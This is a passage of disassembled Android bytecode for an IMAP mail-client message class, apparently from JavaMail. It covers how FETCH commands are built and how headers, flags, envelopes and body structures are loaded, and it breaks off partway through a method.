.method static synthetic access$5(IMAPMessage, String)Z
          .registers 3
00000000  invoke-direct           IMAPMessage->isHeaderLoaded(String)Z, p0, p1
00000006  move-result             v0
00000008  return                  v0
.end method

.method private declared-synchronized areHeadersLoaded()Z
          .registers 2
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006  monitor-exit            p0
00000008  return                  v0
:A
0000000A  move-exception          v0
0000000C  monitor-exit            p0
0000000E  throw                   v0
          .catchall {:2 .. :6} :A
.end method

.method private static craftHeaderCmd(IMAPProtocol, [String)String
          .registers 5
00000000  invoke-virtual          IMAPProtocol->isREV1()Z, p0
00000006  move-result             v0
00000008  if-eqz                  v0, :42
:C
0000000C  new-instance            v0, StringBuffer
00000010  const-string            v1, "BODY.PEEK[HEADER.FIELDS ("
00000014  invoke-direct           StringBuffer-><init>(String)V, v0, v1
:1A
0000001A  const/4                 v1, 0x0
:1C
0000001C  array-length            v2, p1
0000001E  if-lt                   v1, v2, :52
:22
00000022  invoke-virtual          IMAPProtocol->isREV1()Z, p0
00000028  move-result             v1
0000002A  if-eqz                  v1, :70
:2E
0000002E  const-string            v1, ")]"
00000032  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
:38
00000038  invoke-virtual          StringBuffer->toString()String, v0
0000003E  move-result-object      v0
00000040  return-object           v0
:42
00000042  new-instance            v0, StringBuffer
00000046  const-string            v1, "RFC822.HEADER.LINES ("
0000004A  invoke-direct           StringBuffer-><init>(String)V, v0, v1
00000050  goto                    :1A
:52
00000052  if-lez                  v1, :60
:56
00000056  const-string            v2, " "
0000005A  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v2
:60
00000060  aget-object             v2, p1, v1
00000064  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v2
0000006A  add-int/lit8            v1, v1, 0x1
0000006E  goto                    :1C
:70
00000070  const-string            v1, ")"
00000074  invoke-virtual          StringBuffer->append(String)StringBuffer, v0, v1
0000007A  goto                    :38
.end method

.method static fetch(IMAPFolder, [Message, FetchProfile)V
          .registers 20
00000000  new-instance            v5, StringBuffer
00000004  invoke-direct           StringBuffer-><init>()V, v5
0000000A  const/4                 v1, 0x1
0000000C  const/4                 v2, 0x0
0000000E  sget-object             v3, FetchProfile$Item->ENVELOPE:FetchProfile$Item
00000012  move-object/from16      v0, p2
00000016  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v3
0000001C  move-result             v3
0000001E  if-eqz                  v3, :2E
:22
00000022  sget-object             v1, IMAPMessage->EnvelopeCmd:String
00000026  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
0000002C  const/4                 v1, 0x0
:2E
0000002E  sget-object             v3, FetchProfile$Item->FLAGS:FetchProfile$Item
00000032  move-object/from16      v0, p2
00000036  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v3
0000003C  move-result             v3
0000003E  if-eqz                  v3, :52
:42
00000042  if-eqz                  v1, :166
:46
00000046  const-string            v1, "FLAGS"
:4A
0000004A  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
00000050  const/4                 v1, 0x0
:52
00000052  sget-object             v3, FetchProfile$Item->CONTENT_INFO:FetchProfile$Item
00000056  move-object/from16      v0, p2
0000005A  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v3
00000060  move-result             v3
00000062  if-eqz                  v3, :76
:66
00000066  if-eqz                  v1, :16E
:6A
0000006A  const-string            v1, "BODYSTRUCTURE"
:6E
0000006E  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
00000074  const/4                 v1, 0x0
:76
00000076  sget-object             v3, UIDFolder$FetchProfileItem->UID:UIDFolder$FetchProfileItem
0000007A  move-object/from16      v0, p2
0000007E  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v3
00000084  move-result             v3
00000086  if-eqz                  v3, :9A
:8A
0000008A  if-eqz                  v1, :176
:8E
0000008E  const-string            v1, "UID"
:92
00000092  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
00000098  const/4                 v1, 0x0
:9A
0000009A  sget-object             v3, IMAPFolder$FetchProfileItem->HEADERS:IMAPFolder$FetchProfileItem
0000009E  move-object/from16      v0, p2
000000A2  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v3
000000A8  move-result             v3
000000AA  if-eqz                  v3, :462
:AE
000000AE  const/4                 v2, 0x1
000000B0  move-object/from16      v0, p0
000000B4  iget-object             v3, v0, IMAPFolder->protocol:IMAPProtocol
000000B8  invoke-virtual          IMAPProtocol->isREV1()Z, v3
000000BE  move-result             v3
000000C0  if-eqz                  v3, :182
:C4
000000C4  if-eqz                  v1, :17C
:C8
000000C8  const-string            v1, "BODY.PEEK[HEADER]"
:CC
000000CC  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
:D2
000000D2  const/4                 v1, 0x0
000000D4  move                    v3, v2
:D6
000000D6  sget-object             v2, IMAPFolder$FetchProfileItem->SIZE:IMAPFolder$FetchProfileItem
000000DA  move-object/from16      v0, p2
000000DE  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v2
000000E4  move-result             v2
000000E6  if-eqz                  v2, :45C
:EA
000000EA  if-eqz                  v1, :198
:EE
000000EE  const-string            v1, "RFC822.SIZE"
:F2
000000F2  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
000000F8  const/4                 v1, 0x0
000000FA  move                    v2, v1
:FC
000000FC  const/4                 v1, 0x0
000000FE  check-cast              v1, [String
00000102  if-nez                  v3, :138
:106
00000106  invoke-virtual/range    FetchProfile->getHeaderNames()[String, v19 .. v19
0000010C  move-result-object      v1
0000010E  array-length            v4, v1
00000110  if-lez                  v4, :138
:114
00000114  if-nez                  v2, :122
:118
00000118  const-string            v2, " "
0000011C  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v2
:122
00000122  move-object/from16      v0, p0
00000126  iget-object             v2, v0, IMAPFolder->protocol:IMAPProtocol
0000012A  invoke-static           IMAPMessage->craftHeaderCmd(IMAPProtocol, [String)String, v2, v1
00000130  move-result-object      v2
00000132  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v2
:138
00000138  move-object             v4, v1
0000013A  new-instance            v1, IMAPMessage$1FetchProfileCondition
0000013E  move-object/from16      v0, p2
00000142  invoke-direct           IMAPMessage$1FetchProfileCondition-><init>(FetchProfile)V, v1, v0
00000148  move-object/from16      v0, p0
0000014C  iget-object             v9, v0, IMAPFolder->messageCacheLock:Object
00000150  monitor-enter           v9
:152
00000152  move-object/from16      v0, p1
00000156  invoke-static           Utility->toMessageSet([Message, Utility$Condition)[MessageSet, v0, v1
0000015C  move-result-object      v2
0000015E  if-nez                  v2, :19E
:162
00000162  monitor-exit            v9
:164
00000164  return-void
:166
00000166  const-string            v1, " FLAGS"
0000016A  goto/16                 :4A
:16E
0000016E  const-string            v1, " BODYSTRUCTURE"
00000172  goto/16                 :6E
:176
00000176  const-string            v1, " UID"
0000017A  goto                    :92
:17C
0000017C  const-string            v1, " BODY.PEEK[HEADER]"
00000180  goto                    :CC
:182
00000182  if-eqz                  v1, :192
:186
00000186  const-string            v1, "RFC822.HEADER"
:18A
0000018A  invoke-virtual          StringBuffer->append(String)StringBuffer, v5, v1
00000190  goto                    :D2
:192
00000192  const-string            v1, " RFC822.HEADER"
00000196  goto                    :18A
:198
00000198  const-string            v1, " RFC822.SIZE"
0000019C  goto                    :F2
:19E
0000019E  const/4                 v1, 0x0
:1A0
000001A0  check-cast              v1, [Response
000001A4  new-instance            v10, Vector
000001A8  invoke-direct           Vector-><init>()V, v10
:1AE
000001AE  move-object/from16      v0, p0
000001B2  iget-object             v6, v0, IMAPFolder->protocol:IMAPProtocol
000001B6  invoke-virtual          StringBuffer->toString()String, v5
000001BC  move-result-object      v5
000001BE  invoke-virtual          IMAPProtocol->fetch([MessageSet, String)[Response, v6, v2, v5
:1C4
000001C4  move-result-object      v1
000001C6  move-object             v8, v1
:1C8
000001C8  if-nez                  v8, :20C
:1CC
000001CC  monitor-exit            v9
000001CE  goto                    :164
:1D0
000001D0  move-exception          v1
000001D2  monitor-exit            v9
:1D4
000001D4  throw                   v1
:1D6
000001D6  move-exception          v1
:1D8
000001D8  new-instance            v2, FolderClosedException
000001DC  invoke-virtual          ConnectionException->getMessage()String, v1
000001E2  move-result-object      v1
000001E4  move-object/from16      v0, p0
000001E8  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v0, v1
000001EE  throw                   v2
:1F0
000001F0  move-exception          v2
000001F2  move-object             v8, v1
000001F4  goto                    :1C8
:1F6
000001F6  move-exception          v1
000001F8  new-instance            v2, MessagingException
000001FC  invoke-virtual          ProtocolException->getMessage()String, v1
00000202  move-result-object      v3
00000204  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v1
0000020A  throw                   v2
:20C
0000020C  const/4                 v1, 0x0
0000020E  move                    v7, v1
:210
00000210  array-length            v1, v8
00000212  if-lt                   v7, v1, :23A
:216
00000216  invoke-virtual          Vector->size()I, v10
0000021C  move-result             v1
0000021E  if-eqz                  v1, :236
:222
00000222  new-array               v1, v1, [Response
00000226  invoke-virtual          Vector->copyInto([Object)V, v10, v1
0000022C  move-object/from16      v0, p0
00000230  invoke-virtual          IMAPFolder->handleResponses([Response)V, v0, v1
:236
00000236  monitor-exit            v9
00000238  goto                    :164
:23A
0000023A  aget-object             v1, v8, v7
0000023E  if-nez                  v1, :24A
:242
00000242  add-int/lit8            v1, v7, 0x1
00000246  move                    v7, v1
00000248  goto                    :210
:24A
0000024A  aget-object             v1, v8, v7
0000024E  instance-of             v1, v1, FetchResponse
00000252  if-nez                  v1, :262
:256
00000256  aget-object             v1, v8, v7
0000025A  invoke-virtual          Vector->addElement(Object)V, v10, v1
00000260  goto                    :242
:262
00000262  aget-object             v1, v8, v7
00000266  check-cast              v1, FetchResponse
0000026A  invoke-virtual          FetchResponse->getNumber()I, v1
00000270  move-result             v2
00000272  move-object/from16      v0, p0
00000276  invoke-virtual          IMAPFolder->getMessageBySeqNumber(I)IMAPMessage, v0, v2
0000027C  move-result-object      v11
0000027E  invoke-virtual          FetchResponse->getItemCount()I, v1
00000284  move-result             v12
00000286  const/4                 v5, 0x0
00000288  const/4                 v2, 0x0
0000028A  move                    v6, v2
:28C
0000028C  if-lt                   v6, v12, :29C
:290
00000290  if-eqz                  v5, :242
:294
00000294  invoke-virtual          Vector->addElement(Object)V, v10, v1
0000029A  goto                    :242
:29C
0000029C  invoke-virtual          FetchResponse->getItem(I)Item, v1, v6
000002A2  move-result-object      v2
000002A4  instance-of             v13, v2, Flags
000002A8  if-eqz                  v13, :2DC
:2AC
000002AC  sget-object             v13, FetchProfile$Item->FLAGS:FetchProfile$Item
000002B0  move-object/from16      v0, p2
000002B4  invoke-virtual          FetchProfile->contains(FetchProfile$Item)Z, v0, v13
000002BA  move-result             v13
000002BC  if-eqz                  v13, :2C4
:2C0
000002C0  if-nez                  v11, :2D0
:2C4
000002C4  const/4                 v2, 0x1
:2C6
000002C6  add-int/lit8            v5, v6, 0x1
000002CA  move                    v6, v5
000002CC  move                    v5, v2
000002CE  goto                    :28C
:2D0
000002D0  check-cast              v2, Flags
000002D4  iput-object             v2, v11, IMAPMessage->flags:Flags
000002D8  move                    v2, v5
000002DA  goto                    :2C6
:2DC
000002DC  instance-of             v13, v2, ENVELOPE
000002E0  if-eqz                  v13, :2F0
:2E4
000002E4  check-cast              v2, ENVELOPE
000002E8  iput-object             v2, v11, IMAPMessage->envelope:ENVELOPE
000002EC  move                    v2, v5
000002EE  goto                    :2C6
:2F0
000002F0  instance-of             v13, v2, INTERNALDATE
000002F4  if-eqz                  v13, :30C
:2F8
000002F8  check-cast              v2, INTERNALDATE
000002FC  invoke-virtual          INTERNALDATE->getDate()Date, v2
00000302  move-result-object      v2
00000304  iput-object             v2, v11, IMAPMessage->receivedDate:Date
00000308  move                    v2, v5
0000030A  goto                    :2C6
:30C
0000030C  instance-of             v13, v2, RFC822SIZE
00000310  if-eqz                  v13, :324
:314
00000314  check-cast              v2, RFC822SIZE
00000318  iget                    v2, v2, RFC822SIZE->size:I
0000031C  iput                    v2, v11, IMAPMessage->size:I
00000320  move                    v2, v5
00000322  goto                    :2C6
:324
00000324  instance-of             v13, v2, BODYSTRUCTURE
00000328  if-eqz                  v13, :338
:32C
0000032C  check-cast              v2, BODYSTRUCTURE
00000330  iput-object             v2, v11, IMAPMessage->bs:BODYSTRUCTURE
00000334  move                    v2, v5
00000336  goto                    :2C6
:338
00000338  instance-of             v13, v2, UID
0000033C  if-eqz                  v13, :38A
:340
00000340  check-cast              v2, UID
00000344  iget-wide               v13, v2, UID->uid:J
00000348  iput-wide               v13, v11, IMAPMessage->uid:J
0000034C  move-object/from16      v0, p0
00000350  iget-object             v13, v0, IMAPFolder->uidTable:Hashtable
00000354  if-nez                  v13, :36A
:358
00000358  new-instance            v13, Hashtable
0000035C  invoke-direct           Hashtable-><init>()V, v13
00000362  move-object/from16      v0, p0
00000366  iput-object             v13, v0, IMAPFolder->uidTable:Hashtable
:36A
0000036A  move-object/from16      v0, p0
0000036E  iget-object             v13, v0, IMAPFolder->uidTable:Hashtable
00000372  new-instance            v14, Long
00000376  iget-wide               v15, v2, UID->uid:J
0000037A  invoke-direct/range     Long-><init>(J)V, v14 .. v16
00000380  invoke-virtual          Hashtable->put(Object, Object)Object, v13, v14, v11
00000386  move                    v2, v5
00000388  goto                    :2C6
:38A
0000038A  instance-of             v13, v2, RFC822DATA
0000038E  if-nez                  v13, :39A
:392
00000392  instance-of             v13, v2, BODY
00000396  if-eqz                  v13, :446
:39A
0000039A  instance-of             v13, v2, RFC822DATA
0000039E  if-eqz                  v13, :3E0
:3A2
000003A2  check-cast              v2, RFC822DATA
000003A6  invoke-virtual          RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v2
000003AC  move-result-object      v2
:3AE
000003AE  new-instance            v13, InternetHeaders
000003B2  invoke-direct           InternetHeaders-><init>()V, v13
000003B8  invoke-virtual          InternetHeaders->load(InputStream)V, v13, v2
000003BE  iget-object             v2, v11, IMAPMessage->headers:InternetHeaders
000003C2  if-eqz                  v2, :3CA
:3C6
000003C6  if-eqz                  v3, :3EE
:3CA
000003CA  iput-object             v13, v11, IMAPMessage->headers:InternetHeaders
:3CE
000003CE  if-eqz                  v3, :43E
:3D2
000003D2  const/4                 v2, 0x1
000003D4  invoke-direct           IMAPMessage->setHeadersLoaded(Z)V, v11, v2
000003DA  move                    v2, v5
000003DC  goto/16                 :2C6
:3E0
000003E0  check-cast              v2, BODY
000003E4  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v2
000003EA  move-result-object      v2
000003EC  goto                    :3AE
:3EE
000003EE  invoke-virtual          InternetHeaders->getAllHeaders()Enumeration, v13
000003F4  move-result-object      v13
:3F6
000003F6  invoke-interface        Enumeration->hasMoreElements()Z, v13
000003FC  move-result             v2
000003FE  if-eqz                  v2, :3CE
:402
00000402  invoke-interface        Enumeration->nextElement()Object, v13
00000408  move-result-object      v2
0000040A  check-cast              v2, Header
0000040E  invoke-virtual          Header->getName()String, v2
00000414  move-result-object      v14
00000416  invoke-direct           IMAPMessage->isHeaderLoaded(String)Z, v11, v14
0000041C  move-result             v14
0000041E  if-nez                  v14, :3F6
:422
00000422  iget-object             v14, v11, IMAPMessage->headers:InternetHeaders
00000426  invoke-virtual          Header->getName()String, v2
0000042C  move-result-object      v15
0000042E  invoke-virtual          Header->getValue()String, v2
00000434  move-result-object      v2
00000436  invoke-virtual          InternetHeaders->addHeader(String, String)V, v14, v15, v2
0000043C  goto                    :3F6
:43E
0000043E  const/4                 v2, 0x0
:440
00000440  array-length            v13, v4
00000442  if-lt                   v2, v13, :44C
:446
00000446  move                    v2, v5
00000448  goto/16                 :2C6
:44C
0000044C  aget-object             v13, v4, v2
00000450  invoke-direct           IMAPMessage->setHeaderLoaded(String)V, v11, v13
:456
00000456  add-int/lit8            v2, v2, 0x1
0000045A  goto                    :440
:45C
0000045C  move                    v2, v1
0000045E  goto/16                 :FC
:462
00000462  move                    v3, v2
00000464  goto/16                 :D6
          .catchall {:152 .. :164} :1D0
          .catchall {:1A0 .. :1AE} :1D0
          .catch ConnectionException {:1AE .. :1C4} :1D6
          .catch CommandFailedException {:1AE .. :1C4} :1F0
          .catch ProtocolException {:1AE .. :1C4} :1F6
          .catchall {:1AE .. :1C4} :1D0
          .catchall {:1CC .. :1D4} :1D0
          .catchall {:1D8 .. :456} :1D0
.end method

.method private declared-synchronized isHeaderLoaded(String)Z
          .registers 4
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006  if-eqz                  v0, :10
:A
0000000A  const/4                 v0, 0x1
:C
0000000C  monitor-exit            p0
0000000E  return                  v0
:10
00000010  iget-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
00000014  if-eqz                  v0, :32
:18
00000018  iget-object             v0, p0, IMAPMessage->loadedHeaders:Hashtable
0000001C  sget-object             v1, Locale->ENGLISH:Locale
00000020  invoke-virtual          String->toUpperCase(Locale)String, p1, v1
00000026  move-result-object      v1
00000028  invoke-virtual          Hashtable->containsKey(Object)Z, v0, v1
:2E
0000002E  move-result             v0
00000030  goto                    :C
:32
00000032  const/4                 v0, 0x0
00000034  goto                    :C
:36
00000036  move-exception          v0
00000038  monitor-exit            p0
0000003A  throw                   v0
          .catchall {:2 .. :6} :36
          .catchall {:10 .. :2E} :36
.end method

.method private declared-synchronized loadBODYSTRUCTURE()V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
:6
00000006  if-eqz                  v0, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000014  move-result-object      v1
00000016  monitor-enter           v1
:18
00000018  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
0000001E  move-result-object      v0
00000020  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000026  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000002C  move-result             v2
0000002E  invoke-virtual          IMAPProtocol->fetchBodyStructure(I)BODYSTRUCTURE, v0, v2
00000034  move-result-object      v0
00000036  iput-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
:3A
0000003A  iget-object             v0, p0, IMAPMessage->bs:BODYSTRUCTURE
0000003E  if-nez                  v0, :9A
:42
00000042  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
00000048  new-instance            v0, MessagingException
0000004C  const-string            v2, "Unable to load BODYSTRUCTURE"
00000050  invoke-direct           MessagingException-><init>(String)V, v0, v2
00000056  throw                   v0
:58
00000058  move-exception          v0
0000005A  monitor-exit            v1
:5C
0000005C  throw                   v0
:5E
0000005E  move-exception          v0
00000060  monitor-exit            p0
00000062  throw                   v0
:64
00000064  move-exception          v0
:66
00000066  new-instance            v2, FolderClosedException
0000006A  iget-object             v3, p0, IMAPMessage->folder:Folder
0000006E  invoke-virtual          ConnectionException->getMessage()String, v0
00000074  move-result-object      v0
00000076  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
0000007C  throw                   v2
:7E
0000007E  move-exception          v0
00000080  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
00000086  new-instance            v2, MessagingException
0000008A  invoke-virtual          ProtocolException->getMessage()String, v0
00000090  move-result-object      v3
00000092  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
00000098  throw                   v2
:9A
0000009A  monitor-exit            v1
:9C
0000009C  goto                    :A
          .catchall {:2 .. :6} :5E
          .catchall {:E .. :18} :5E
          .catch ConnectionException {:18 .. :3A} :64
          .catch ProtocolException {:18 .. :3A} :7E
          .catchall {:18 .. :3A} :58
          .catchall {:3A .. :5C} :58
          .catchall {:5C .. :5E} :5E
          .catchall {:66 .. :9C} :58
.end method

.method private declared-synchronized loadEnvelope()V
          .registers 12
00000000  const/4                 v3, 0x0
00000002  monitor-enter           p0
:4
00000004  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
:8
00000008  if-eqz                  v0, :10
:C
0000000C  monitor-exit            p0
0000000E  return-void
:10
00000010  const/4                 v0, 0x0
:12
00000012  check-cast              v0, [Response
00000016  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
0000001C  move-result-object      v5
0000001E  monitor-enter           v5
:20
00000020  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
00000026  move-result-object      v6
00000028  invoke-virtual          IMAPMessage->checkExpunged()V, p0
0000002E  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
00000034  move-result             v7
00000036  sget-object             v0, IMAPMessage->EnvelopeCmd:String
0000003A  invoke-virtual          IMAPProtocol->fetch(I, String)[Response, v6, v7, v0
00000040  move-result-object      v8
00000042  move                    v4, v3
:44
00000044  array-length            v0, v8
00000046  if-lt                   v4, v0, :80
:4A
0000004A  invoke-virtual          IMAPProtocol->notifyResponseHandlers([Response)V, v6, v8
00000050  array-length            v0, v8
00000052  add-int/lit8            v0, v0, 0xFFFFFFFFFFFFFFFF
00000056  aget-object             v0, v8, v0
0000005A  invoke-virtual          IMAPProtocol->handleResult(Response)V, v6, v0
:60
00000060  monitor-exit            v5
:62
00000062  iget-object             v0, p0, IMAPMessage->envelope:ENVELOPE
00000066  if-nez                  v0, :C
:6A
0000006A  new-instance            v0, MessagingException
0000006E  const-string            v1, "Failed to load IMAP envelope"
00000072  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000078  throw                   v0
:7A
0000007A  move-exception          v0
0000007C  monitor-exit            p0
0000007E  throw                   v0
:80
00000080  aget-object             v0, v8, v4
00000084  if-eqz                  v0, :A8
:88
00000088  aget-object             v0, v8, v4
0000008C  instance-of             v0, v0, FetchResponse
00000090  if-eqz                  v0, :A8
:94
00000094  aget-object             v0, v8, v4
00000098  check-cast              v0, FetchResponse
0000009C  invoke-virtual          FetchResponse->getNumber()I, v0
000000A2  move-result             v0
000000A4  if-eq                   v0, v7, :B0
:A8
000000A8  add-int/lit8            v0, v4, 0x1
000000AC  move                    v4, v0
000000AE  goto                    :44
:B0
000000B0  aget-object             v0, v8, v4
000000B4  check-cast              v0, FetchResponse
000000B8  invoke-virtual          FetchResponse->getItemCount()I, v0
000000BE  move-result             v9
000000C0  move                    v2, v3
:C2
000000C2  if-ge                   v2, v9, :A8
:C6
000000C6  invoke-virtual          FetchResponse->getItem(I)Item, v0, v2
000000CC  move-result-object      v1
000000CE  instance-of             v10, v1, ENVELOPE
000000D2  if-eqz                  v10, :E6
:D6
000000D6  check-cast              v1, ENVELOPE
000000DA  iput-object             v1, p0, IMAPMessage->envelope:ENVELOPE
:DE
000000DE  add-int/lit8            v1, v2, 0x1
000000E2  move                    v2, v1
000000E4  goto                    :C2
:E6
000000E6  instance-of             v10, v1, INTERNALDATE
000000EA  if-eqz                  v10, :120
:EE
000000EE  check-cast              v1, INTERNALDATE
000000F2  invoke-virtual          INTERNALDATE->getDate()Date, v1
000000F8  move-result-object      v1
000000FA  iput-object             v1, p0, IMAPMessage->receivedDate:Date
:FE
000000FE  goto                    :DE
:100
00000100  move-exception          v0
:102
00000102  new-instance            v1, FolderClosedException
00000106  iget-object             v2, p0, IMAPMessage->folder:Folder
0000010A  invoke-virtual          ConnectionException->getMessage()String, v0
00000110  move-result-object      v0
00000112  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v2, v0
00000118  throw                   v1
:11A
0000011A  move-exception          v0
0000011C  monitor-exit            v5
:11E
0000011E  throw                   v0
:120
00000120  instance-of             v10, v1, RFC822SIZE
00000124  if-eqz                  v10, :DE
:128
00000128  check-cast              v1, RFC822SIZE
0000012C  iget                    v1, v1, RFC822SIZE->size:I
00000130  iput                    v1, p0, IMAPMessage->size:I
:134
00000134  goto                    :DE
:136
00000136  move-exception          v0
:138
00000138  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
0000013E  new-instance            v1, MessagingException
00000142  invoke-virtual          ProtocolException->getMessage()String, v0
00000148  move-result-object      v2
0000014A  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v2, v0
00000150  throw                   v1
          .catchall {:4 .. :8} :7A
          .catchall {:12 .. :20} :7A
          .catch ConnectionException {:20 .. :60} :100
          .catch ProtocolException {:20 .. :60} :136
          .catchall {:20 .. :60} :11A
          .catchall {:60 .. :62} :11A
          .catchall {:62 .. :7A} :7A
          .catch ConnectionException {:80 .. :FE} :100
          .catch ProtocolException {:80 .. :FE} :136
          .catchall {:80 .. :FE} :11A
          .catchall {:102 .. :11E} :11A
          .catchall {:11E .. :120} :7A
          .catch ConnectionException {:120 .. :134} :100
          .catch ProtocolException {:120 .. :134} :136
          .catchall {:120 .. :134} :11A
          .catchall {:138 .. :152} :11A
.end method

.method private declared-synchronized loadFlags()V
          .registers 5
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPMessage->flags:Flags
:6
00000006  if-eqz                  v0, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000014  move-result-object      v1
00000016  monitor-enter           v1
:18
00000018  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
0000001E  move-result-object      v0
00000020  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000026  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000002C  move-result             v2
0000002E  invoke-virtual          IMAPProtocol->fetchFlags(I)Flags, v0, v2
00000034  move-result-object      v0
00000036  iput-object             v0, p0, IMAPMessage->flags:Flags
:3A
0000003A  monitor-exit            v1
0000003C  goto                    :A
:3E
0000003E  move-exception          v0
00000040  monitor-exit            v1
:42
00000042  throw                   v0
:44
00000044  move-exception          v0
00000046  monitor-exit            p0
00000048  throw                   v0
:4A
0000004A  move-exception          v0
:4C
0000004C  new-instance            v2, FolderClosedException
00000050  iget-object             v3, p0, IMAPMessage->folder:Folder
00000054  invoke-virtual          ConnectionException->getMessage()String, v0
0000005A  move-result-object      v0
0000005C  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
00000062  throw                   v2
:64
00000064  move-exception          v0
00000066  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
0000006C  new-instance            v2, MessagingException
00000070  invoke-virtual          ProtocolException->getMessage()String, v0
00000076  move-result-object      v3
00000078  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
0000007E  throw                   v2
          .catchall {:2 .. :6} :44
          .catchall {:E .. :18} :44
          .catch ConnectionException {:18 .. :3A} :4A
          .catch ProtocolException {:18 .. :3A} :64
          .catchall {:18 .. :3A} :3E
          .catchall {:3A .. :42} :3E
          .catchall {:42 .. :44} :44
          .catchall {:4C .. :80} :3E
.end method

.method private declared-synchronized loadHeaders()V
          .registers 6
00000000  monitor-enter           p0
:2
00000002  iget-boolean            v0, p0, IMAPMessage->headersLoaded:Z
:6
00000006  if-eqz                  v0, :E
:A
0000000A  monitor-exit            p0
0000000C  return-void
:E
0000000E  const/4                 v0, 0x0
:10
00000010  invoke-virtual          IMAPMessage->getMessageCacheLock()Object, p0
00000016  move-result-object      v1
00000018  monitor-enter           v1
:1A
0000001A  invoke-virtual          IMAPMessage->getProtocol()IMAPProtocol, p0
00000020  move-result-object      v2
00000022  invoke-virtual          IMAPMessage->checkExpunged()V, p0
00000028  invoke-virtual          IMAPProtocol->isREV1()Z, v2
0000002E  move-result             v3
00000030  if-eqz                  v3, :78
:34
00000034  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000003A  move-result             v3
0000003C  const-string            v4, "HEADER"
00000040  invoke-direct           IMAPMessage->toSection(String)String, p0, v4
00000046  move-result-object      v4
00000048  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v2, v3, v4
0000004E  move-result-object      v2
00000050  if-eqz                  v2, :5C
:54
00000054  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v2
:5A
0000005A  move-result-object      v0
:5C
0000005C  monitor-exit            v1
:5E
0000005E  if-nez                  v0, :D6
:62
00000062  new-instance            v0, MessagingException
00000066  const-string            v1, "Cannot load header"
0000006A  invoke-direct           MessagingException-><init>(String)V, v0, v1
00000070  throw                   v0
:72
00000072  move-exception          v0
00000074  monitor-exit            p0
00000076  throw                   v0
:78
00000078  invoke-virtual          IMAPMessage->getSequenceNumber()I, p0
0000007E  move-result             v3
00000080  const-string            v4, "HEADER"
00000084  invoke-virtual          IMAPProtocol->fetchRFC822(I, String)RFC822DATA, v2, v3, v4
0000008A  move-result-object      v2
0000008C  if-eqz                  v2, :5C
:90
00000090  invoke-virtual          RFC822DATA->getByteArrayInputStream()ByteArrayInputStream, v2
:96
00000096  move-result-object      v0
00000098  goto                    :5C
:9A
0000009A  move-exception          v0
:9C
0000009C  new-instance            v2, FolderClosedException
000000A0  iget-object             v3, p0, IMAPMessage->folder:Folder
000000A4  invoke-virtual          ConnectionException->getMessage()String, v0
000000AA  move-result-object      v0
000000AC  invoke-direct           FolderClosedException-><init>(Folder, String)V, v2, v3, v0
000000B2  throw                   v2
:B4
000000B4  move-exception          v0
000000B6  monitor-exit            v1
:B8
000000B8  throw                   v0
:BA
000000BA  move-exception          v0
:BC
000000BC  invoke-virtual          IMAPMessage->forceCheckExpunged()V, p0
000000C2  new-instance            v2, MessagingException
000000C6  invoke-virtual          ProtocolException->getMessage()String, v0
000000CC  move-result-object      v3
000000CE  invoke-direct           MessagingException-><init>(String, Exception)V, v2, v3, v0
000000D4  throw                   v2
:D6
000000D6  new-instance            v1, InternetHeaders
